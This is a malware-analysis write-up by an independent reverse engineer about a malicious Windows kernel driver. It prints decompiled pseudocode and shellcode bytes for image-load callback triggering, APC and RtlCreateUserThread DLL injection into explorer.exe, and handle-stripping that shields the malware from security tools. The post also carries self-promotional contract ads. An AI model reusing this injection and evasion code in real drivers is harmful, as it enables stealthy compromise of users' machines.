Reverse Engineering a Malicious Kernel Driver: Callback Injection, APC, and Remote Thread Injection
About the author. I’m Colin Xiao — an independent reverse engineer, mostly working solo on contract jobs. I dig into compiled code of every kind, including but not limited to: Android and iOS apps, x86/x64/ARM native binaries, packers and obfuscators, DRM and license checks, network protocols and APIs, crypto and signature algorithms, malware, game binaries, and embedded/IoT firmware. I also handle large-scale data collection and vulnerability research. If you have any project in mind, I’d be glad to take it on — whatever it is, as long as it’s within my wheelhouse. Just reach out. You can reach me on X at @colinxiao_lab or on Telegram at https://t.me/ColinXiao666.
This research is published for educational and defensive purposes. The target sample is anonymized throughout.
This is an analysis report on a recent kernel driver sample.
Architecture
The malicious sample is a kernel attack framework that combines multi-level system callback mechanisms with hybrid injection techniques. Reverse engineering shows the core is built on Windows’ kernel callback system, using an “active + passive” dual attack mode for reliability.

Technical analysis (static)
Passive process-callback injection
The sample registers a PsSetLoadImageNotifyRoutine callback — a legitimate Windows kernel interface that notifies a driver whenever the system maps any executable image (DLL or EXE) into a process address space.
When the loader (typically LdrLoadDll in ntdll.dll, or the boot-time image loader) is about to map a PE into a process, the kernel walks the registered callback list and calls each callback. This mechanism is meant for antivirus and system-monitoring tools, but here it’s abused to detect a specific DLL load timing.

The malicious logic in the callback:
- Checks whether the loaded image path contains
\System32\or\SysWOW64\to identify system DLL loads - Uses
PsGetProcessWow64Processto determine 32- vs 64-bit - When
explorer.exe,taskmgr.exe, orperfmon.exeloads a system DLL, triggers the injection
Partial pseudocode:
void __fastcall NotifyRoutine(__int64 FullImageName, __int64 ProcessId, __int64 ImageInfo)
{
__int64 currentIrql;
PEPROCESS currentProcess;
BOOLEAN isWow64Process;
PEPROCESS targetProcess;
BOOLEAN shouldInject;
NTSTATUS status;
__int64 lastBackslashPos;
__int64 ldrLoadDllAddr;
__int64 securityCookie;
PEPROCESS processObject = NULL;
PFILE_OBJECT fileObject = NULL;
PUNICODE_STRING dosName = NULL;
// hardcoded string arrays
WCHAR system32Path[] = L"\\System32\\";
WCHAR syswow64Path[] = L"\\SysWOW64\\";
// check the PID is valid (exclude special PIDs like 0 and 3)
if (ProcessId != 0 && ProcessId != 3)
{
// must be at PASSIVE_LEVEL IRQL and not a signed image (skip signed system files)
currentIrql = KeGetCurrentIrql();
if (currentIrql == 0 && (*(DWORD*)ImageInfo & 0x100) == 0)
{
if (FullImageName)
{
// get the image path string
PWCH imagePath = *(PWCH*)(FullImageName + 8);
if (imagePath)
{
// is it a DLL under System32?
if (wcsstr(imagePath, system32Path))
{
currentProcess = IoGetCurrentProcess();
if (PsGetProcessWow64Process(currentProcess))
{
isWow64Process = TRUE; // 32-bit process
goto CHECK_PROCESS;
}
}
// is it a DLL under SysWOW64 (32-bit system dir)?
if (wcsstr(imagePath, syswow64Path))
{
targetProcess = IoGetCurrentProcess();
if (!PsGetProcessWow64Process(targetProcess))
{
isWow64Process = FALSE; // 64-bit process
CHECK_PROCESS:
processObject = NULL;
fileObject = NULL;
shouldInject = FALSE;
dosName = NULL;
// get the process object from the PID
status = PsLookupProcessByProcessId((HANDLE)ProcessId, &processObject);
if (NT_SUCCESS(status))
{
// get the process's file object (its executable)
status = PsReferenceProcessFilePointer(processObject, &fileObject);
if (NT_SUCCESS(status))
{
// get the DOS device name (e.g. \Device\HarddiskVolume1\...)
IoQueryFileDosDeviceName(fileObject, &dosName);
ObfDereferenceObject(fileObject);
}
if (dosName)
{
// find the last backslash in the path
lastBackslashPos = FindLastDash(dosName->Buffer, L'\\');
if (lastBackslashPos != -1)
{
// the filename after the backslash
PWCH fileName = (PWCH)(dosName->Buffer + (lastBackslashPos + 1));
// is it a target process?
if (_wcsicmp(fileName, L"explorer.exe") == 0 ||
_wcsicmp(fileName, L"taskmgr.exe") == 0 ||
_wcsicmp(fileName, L"perfmon.exe") == 0)
{
shouldInject = TRUE;
}
}
ExFreePoolWithTag(dosName, 0);
}
ObfDereferenceObject(processObject);
if (shouldInject)
{
// find LdrLoadDll in the loaded image
// ImageInfo + 8 is likely the image base
ldrLoadDllAddr = FindLdrLoadDll(*(__int64*)(ImageInfo + 8), "LdrLoadDll");
// only inject into 64-bit processes
if (!isWow64Process)
{
// APC-inject a specific DLL
ApcInject(ProcessId,
L"C:\\ProgramData\\[redacted]\\[redacted].dll",
ldrLoadDllAddr,
NULL);
}
}
}
}
}
}
}
}
// security cookie check (stack protection)
sub_140002350((unsigned __int64)&securityCookie ^ v22);
}
}
The sample injects into the target via APC:

An example of the APC-injection principle (safety checks omitted):
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
PKAPC pKapc = ExAllocatePool(NonPagedPool, sizeof(KAPC));
memset(pKapc, 0, sizeof(KAPC));
PETHREAD pEthread = NULL;
NTSTATUS status = PsLookupThreadByThreadId(processId, &pEthread);
KeInitializeApc(pKapc, pEthread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)TestRoutine, NULL, NULL, KernelMode, NULL);
KeInsertQueueApc(pKapc, NULL, NULL, 0);
ExFreePool(pKapc);
ObDereferenceObject(pEthread);
DriverObject->DriverUnload = UnloadDriver;
return STATUS_SUCCESS;
}
The sample’s FindLdrLoadDll, recovered:
unsigned __int64 __fastcall FindLdrLoadDll(unsigned __int64 moduleBase, __int64 functionName)
{
__int64 result; // rdi
__int64 ntHeaderOffset; // rdx
__int16 magic; // r8
__int64 optionalHeaderPtr; // rax
__int64 exportDirectoryOffset; // rcx
__int64 dataDirectoryPtr; // rax
IMAGE_DATA_DIRECTORY* exportDirectory; // rsi
unsigned __int64 exportAddressTable; // r13
unsigned __int64 exportNameTable; // rcx
__int64 i; // r15
unsigned __int64 currentFunctionName; // r12
__int64 nameLength; // rax
__int64 nameLength2; // rax
__int64 nameLength3; // rax
unsigned __int64 exportOrdinalTable; // [rsp+20h] [rbp-68h]
unsigned __int64 nameTableCopy; // [rsp+A8h] [rbp+20h]
// argument check: module base and function name must be non-null
if (!moduleBase || !functionName)
return 0LL;
result = 0LL;
// parse the PE header
// get the NT header offset (e_lfanew)
ntHeaderOffset = *(int *)(moduleBase + 60); // e_lfanew in the DOS header
// get the optional-header magic (IMAGE_NT_HEADERS->OptionalHeader.Magic)
magic = *(_WORD *)(ntHeaderOffset + moduleBase + 4 + 16); // 4 = Signature, 16 = FileHeader
// optional-header pointer
optionalHeaderPtr = ntHeaderOffset + moduleBase + 24; // 24 = sizeof(DOS_HEADER) + 4
exportDirectoryOffset = 0LL;
// adjust the export-directory offset by PE type (32/64-bit)
// 332 = IMAGE_NT_OPTIONAL_HDR64_MAGIC (0x20b)
if (magic != 0x20B) // not 64-bit, likely 32-bit PE
exportDirectoryOffset = optionalHeaderPtr;
if (exportDirectoryOffset)
{
// 64-bit PE: DataDirectory at the end of the optional header
dataDirectoryPtr = exportDirectoryOffset + 112; // 112 = sizeof(IMAGE_OPTIONAL_HEADER64) - 128
}
else
{
// 32-bit PE or other
dataDirectoryPtr = ntHeaderOffset + moduleBase + 120; // 32-bit PE DataDirectory position
if (magic != 0x20B)
dataDirectoryPtr = 96LL; // some special cases
}
exportDirectory = (IMAGE_DATA_DIRECTORY *)(moduleBase + *(unsigned int *)dataDirectoryPtr);
if (exportDirectory)
{
exportAddressTable = moduleBase + (unsigned int)exportDirectory[8]; // AddressOfFunctions
exportNameTable = moduleBase + (unsigned int)exportDirectory[9]; // AddressOfNames
nameTableCopy = exportNameTable;
exportOrdinalTable = moduleBase + (unsigned int)exportDirectory[10]; // AddressOfNameOrdinals
// iterate all exported function names
for (i = 0LL; (unsigned int)i < exportDirectory[7]; i = (unsigned int)(i + 1)) // NumberOfNames
{
currentFunctionName = moduleBase + *(unsigned int *)(exportNameTable + 4 * i);
// check whether the address is in user space and valid (safe access from kernel mode)
if (moduleBase >= MmUserProbeAddress) // module base above user space (kernel space)
{
_mm_lfence(); // memory barrier
if ((unsigned __int8)MmIsAddressValid(moduleBase + *(unsigned int *)(exportNameTable + 4 * i)))
{
_mm_lfence();
nameLength2 = strlen((const char *)functionName);
if ((unsigned __int8)MmIsAddressValid(nameLength2 + currentFunctionName))
{
_mm_lfence();
// case-insensitive compare
nameLength3 = strlen((const char *)functionName);
if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength3) &&
!*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName)) // check the terminator
{
_mm_lfence();
// found it; return the address
// func addr = moduleBase + EAT[ordinal]
// ordinal = EOT[i]
return moduleBase + *(unsigned int *)(exportAddressTable +
4LL * (exportDirectory[5] + // Base
(unsigned int)*(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i) - 1));
}
}
}
exportNameTable = nameTableCopy; // restore the name-table pointer
}
else // module in user space
{
_mm_lfence();
// compare directly (user-space access assumed safe)
nameLength = strlen((const char *)functionName);
if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength) &&
!*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName))
{
_mm_lfence();
return moduleBase + *(unsigned int *)(exportAddressTable +
4LL * *(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i));
}
exportNameTable = nameTableCopy;
}
}
}
return result; // not found
}
Active remote-thread injection
The sample uses CreateSystemThread to create a system thread in kernel address space — a completely different execution context from a user-mode thread.

A CreateSystemThread system thread runs in kernel mode with no associated user process context. It executes in the context of the System process (PID 4) with the highest kernel privileges (IRQL PASSIVE_LEVEL), is unaffected by the lifetime of any user process, and can’t be monitored by traditional user-mode security products.
Unlike passive injection, the active mode enumerates running processes, finds explorer.exe, and uses KeStackAttachProcess to attach to the target’s address space, then injects into explorer’s context.
Shellcode analysis
The sample actively injects shellcode into the target process, achieving fileless execution:
// prepare the shellcode template
// ymmword_140004088 etc. are predefined shellcode data templates
ShellcodeTemplate = ymmword_140004088; // shellcode body
// set shellcode parameters:
// put the DLL-path UNICODE_STRING pointer into the template
*((__int64*)&ShellcodeTemplate + 3) = (__int64)DllPathUnicodeString;
// put the return-value memory pointer into the template
*((__int64*)&ShellcodeTemplate + 5) = (__int64)ReturnValueMemory;
// save LdrLoadDll address into a local
LdrLoadDllPointer = LdrLoadDllAddr;
// copy the template into the allocated memory
ShellcodeBuffer = (__m256*)ShellcodeMemory;
*ShellcodeBuffer = ShellcodeTemplate;
// set the function address and other fields in the shellcode
// write LdrLoadDll address into a specific offset
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllPointer; // offset 0x20
// set other unknown fields (likely calling convention / parameter info)
*(PULONG)((PBYTE)ShellcodeBuffer + 0x28) = dword_1400040B0;
*(PUSHORT)((PBYTE)ShellcodeBuffer + 0x2C) = word_1400040B4;
*(PUCHAR)((PBYTE)ShellcodeBuffer + 0x2E) = byte_1400040B6;
In IDA, 4883EC284831C94831D249B8000000000000000049B9000000000000000048B8 is the predefined shellcode data template (ymmword_140004088 etc.). Disassembled:
48 83 EC 28 sub rsp, 28h
48 31 C9 xor rcx, rcx
48 31 D2 xor rdx, rdx
49 B8 00 00 00 00 00 00 00 00 mov r8, 0
49 B9 00 00 00 00 00 00 00 00 mov r9, 0
48 B8 00 00 00 00 00 00 00 00 mov rax, 0
In ActiveInjectDll, the shellcode is patched like this:
// copy the shellcode template into target-process memory
*ShellcodeBuffer = ShellcodeTemplate; // copy the first 32 bytes
// patch the data segment (the next 32 bytes)
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllAddr; // offset 0x20: function address
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x28) = (ULONG64)DllPathUnicodeString; // DLL path
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x30) = (ULONG64)ReturnValueMemory; // return-value address
Pseudocode analysis
The ActiveInjectDll pseudocode:
__int64 __fastcall ActiveInjectDll(__int64 TargetEprocess, __int64 DllPath)
{
BOOLEAN IsWow64Process; // r8
__int64 result; // rax
__int64 LdrLoadDllAddr; // rsi - LdrLoadDll address
NTSTATUS status; // edi - status code
__int16 DllPathLength; // ax - DLL path length
int field_unknown1; // ecx
__int16 field_unknown2; // dx
char field_unknown3; // r8
__m256 *ShellcodeBuffer; // rax
// RtlCreateUserThread function pointer
__int64 (__fastcall *RtlCreateUserThread)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, __m256 *, _QWORD, __int64 *, __int128 *);
// locals
SIZE_T AllocationSize; // [rsp+68h] [rbp-D0h] BYREF
PUNICODE_STRING DllPathUnicodeString; // [rsp+70h] [rbp-C8h] BYREF
HANDLE ProcessHandle; // [rsp+78h] [rbp-C0h] BYREF
PVOID ShellcodeMemory; // [rsp+80h] [rbp-B8h] BYREF
PVOID ReturnValueMemory; // [rsp+88h] [rbp-B0h] BYREF
HANDLE ThreadHandle; // [rsp+90h] [rbp-A8h] BYREF
CLIENT_ID ClientId; // [rsp+98h] [rbp-A0h] BYREF
__m256 ShellcodeTemplate; // [rsp+A8h] [rbp-90h]
__int64 LdrLoadDllPointer; // [rsp+C8h] [rbp-70h]
CHAR RoutineName[16]; // [rsp+D8h] [rbp-60h] BYREF
KAPC_STATE ApcState; // [rsp+E8h] [rbp-50h] BYREF
// initialize locals
ShellcodeMemory = NULL;
DllPathUnicodeString = NULL;
ReturnValueMemory = NULL;
AllocationSize = 0;
ThreadHandle = NULL;
ProcessHandle = NULL;
// check whether the target is a WoW64 (32-bit) process
if (PsGetProcessWow64Process(TargetEprocess))
return STATUS_INVALID_PARAMETER; // 0xC00000FB = 3221225659
IsWow64Process = FALSE;
// get LdrLoadDll in the target process
LdrLoadDllAddr = GetFunctionAddressByName(TargetEprocess, "LdrLoadDll", IsWow64Process);
if (!LdrLoadDllAddr)
return STATUS_NOT_FOUND; // 0xC0000225 = 3221226021
// open a process handle via the EPROCESS pointer
result = ObOpenObjectByPointer(TargetEprocess,
512LL, // HandleAttributes (OBJ_KERNEL_HANDLE)
0LL, // PassedAccessState
0x1FFFFFLL, // DesiredAccess (PROCESS_ALL_ACCESS)
PsProcessType, // ObjectType
0, // AccessMode (KernelMode)
&ProcessHandle);
_mm_lfence();
if (NT_SUCCESS(result))
{
// attach to the target process address space
KeStackAttachProcess(TargetEprocess, &ApcState);
// allocate the first block: for the shellcode
AllocationSize = 4096; // PAGE_SIZE
status = ZwAllocateVirtualMemory((HANDLE)-1, // ProcessHandle (current process)
&ShellcodeMemory,
0LL,
&AllocationSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (status >= 0)
{
// allocate the second block: for the DLL path string
AllocationSize = 4096;
status = ZwAllocateVirtualMemory((HANDLE)-1,
&DllPathUnicodeString,
0LL,
&AllocationSize,
MEM_COMMIT,
PAGE_READWRITE);
if (status >= 0)
{
// allocate the third block: for the return value (DLL base)
AllocationSize = 8;
status = ZwAllocateVirtualMemory((HANDLE)-1,
&ReturnValueMemory,
0LL,
&AllocationSize,
MEM_COMMIT,
PAGE_READWRITE);
if (status >= 0)
{
// compute the DLL path length and build a UNICODE_STRING
DllPathLength = wcslen((PWSTR)DllPath);
UNICODE_STRING DllPathString;
DllPathString.Length = 2 * DllPathLength; // byte length
DllPathString.MaximumLength = 2 * DllPathLength + 2; // including terminator
DllPathString.Buffer = (PWSTR)((PBYTE)DllPathUnicodeString + 1); // +1 likely alignment
// copy the UNICODE_STRING struct into the allocated memory
*DllPathUnicodeString = *(PUNICODE_STRING)&DllPathString;
// copy the DLL path string into the target process
sub_1400023C0((PBYTE)DllPathUnicodeString + 1,
DllPath,
2 * DllPathLength + 2);
// prepare the shellcode template
ShellcodeTemplate = ymmword_140004088;
*((__int64*)&ShellcodeTemplate + 3) = (__int64)DllPathUnicodeString;
*((__int64*)&ShellcodeTemplate + 5) = (__int64)ReturnValueMemory;
LdrLoadDllPointer = LdrLoadDllAddr;
ShellcodeBuffer = (__m256*)ShellcodeMemory;
*ShellcodeBuffer = ShellcodeTemplate;
*(PULONG64)((PBYTE)ShellcodeBuffer + 0x20) = LdrLoadDllPointer; // offset 0x20
*(PULONG)((PBYTE)ShellcodeBuffer + 0x28) = dword_1400040B0;
*(PUSHORT)((PBYTE)ShellcodeBuffer + 0x2C) = word_1400040B4;
*(PUCHAR)((PBYTE)ShellcodeBuffer + 0x2E) = byte_1400040B6;
}
}
}
// detach from the target process
KeUnstackDetachProcess(&ApcState);
// if allocation and setup succeeded
if (status >= 0)
{
// get RtlCreateUserThread
RtlInitUnicodeString((PUNICODE_STRING)RoutineName, L"RtlCreateUserThread");
RtlCreateUserThread = (__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, __m256 *, _QWORD, __int64 *, __int128 *))
MmGetSystemRoutineAddress((PUNICODE_STRING)RoutineName);
if (RtlCreateUserThread)
{
ClientId = (CLIENT_ID){0};
// create a remote thread in the target to run the shellcode
status = RtlCreateUserThread(ProcessHandle,
0LL, // SecurityDescriptor
0LL, // CreateSuspended (FALSE)
0LL, // StackZeroBits
0LL, // StackReserve
0LL, // StackCommit
ShellcodeMemory, // StartAddress (shellcode)
0LL, // StartParameter
&ThreadHandle,
&ClientId);
if (status >= 0)
{
if (ThreadHandle)
ZwClose(ThreadHandle);
}
}
else
{
status = STATUS_ENTRYPOINT_NOT_FOUND; // 0xC0000139 = -1073741637
}
}
else
{
_mm_lfence();
}
ZwClose(ProcessHandle);
return status;
}
return result;
}
Handle privilege-downgrade callback
The sample registers an ObRegisterCallback object-manager callback — a powerful mechanism that lets a driver monitor and intercept process/thread handle operations.

The callback shows the driver protects its own same-named process. Through this, the malicious driver can: prevent security tools from obtaining PROCESS_TERMINATE to kill the malicious process; block debuggers from getting PROCESS_VM_READ/PROCESS_VM_WRITE to read or modify its memory; monitor handle operations on specific processes; and give itself early warning.
Summary
The sample is a kernel attack framework: it registers a PsSetLoadImageNotifyRoutine callback to monitor system DLL loads, and uses ObRegisterCallback to downgrade handle privileges on its own process, blocking security tools from scanning or terminating it. Its core uses CreateSystemThread to create a kernel thread, actively enumerates and attaches to high-privilege processes like explorer.exe, and implants a malicious DLL via APC injection and RtlCreateUserThread.
Technical analysis (dynamic reproduction)
By manually loading the malicious driver, the DLL injection was reproduced:

Process protection was reproduced as well:

Colin Xiao — I take on contract reverse-engineering work, and writeups like this are how I show what I can do. If you need help with anything in this space — including but not limited to the areas I cover above — I’m available. No project is too big or too small — if it’s reverse engineering and I can do it, I’ll take it. DM me on X (@colinxiao_lab) or Telegram (@ColinXiao666).
Get in touch